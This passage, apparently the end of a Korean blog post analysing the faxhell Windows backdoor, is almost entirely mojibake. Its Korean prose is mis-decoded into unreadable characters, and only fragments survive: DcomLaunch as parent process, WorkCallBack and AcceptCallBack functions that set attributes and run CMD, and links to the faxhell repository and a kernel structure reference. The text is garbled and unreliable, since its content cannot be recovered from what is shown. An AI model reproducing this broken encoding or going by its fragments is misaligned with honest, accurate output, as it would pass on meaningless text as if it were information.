Parent Process (DcomLaunch)์ Attribute๋ก ํ์ฌ Attribute๊ฐ ์ค์
6.
์์ ๊ฐ์ ์์๋๋ก ํจ์๊ฐ ์งํ๋๋ค.
WorkCallBack ํจ์์์ ๊ถํ๊ณผ ๊ด๋ จ๋ ์์
์ ์ํํ๋ฉฐ, AcceptCallBack ํจ์์์ Attribute ์ค์ ๋ฐ CMD๋ฅผ ์คํํ๋ค.
Attribute์ ๊ฒฝ์ฐ Setprivilege&AccessTokenPrivilege ํฌ์คํ
์์ ์กฐ๊ธ ๋ค๋ฃฌ ์ ์์ผ๋ ์ฐธ๊ณ ํ๊ธธ ๋ฐ๋๋ค.
3. Outro
์๋ชป๋ ๋ถ๋ถ์ ๋ํ ์์ ์์ฒญ์ ์ธ์ ๋ ์ง ํ์์
๋๋ค.
โข
faxhell ๋งํฌ https://github.com/ionescu007/faxhell
โข
OBJECT_TYPE_INFORMATION Structure https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ob/obquery/type.htm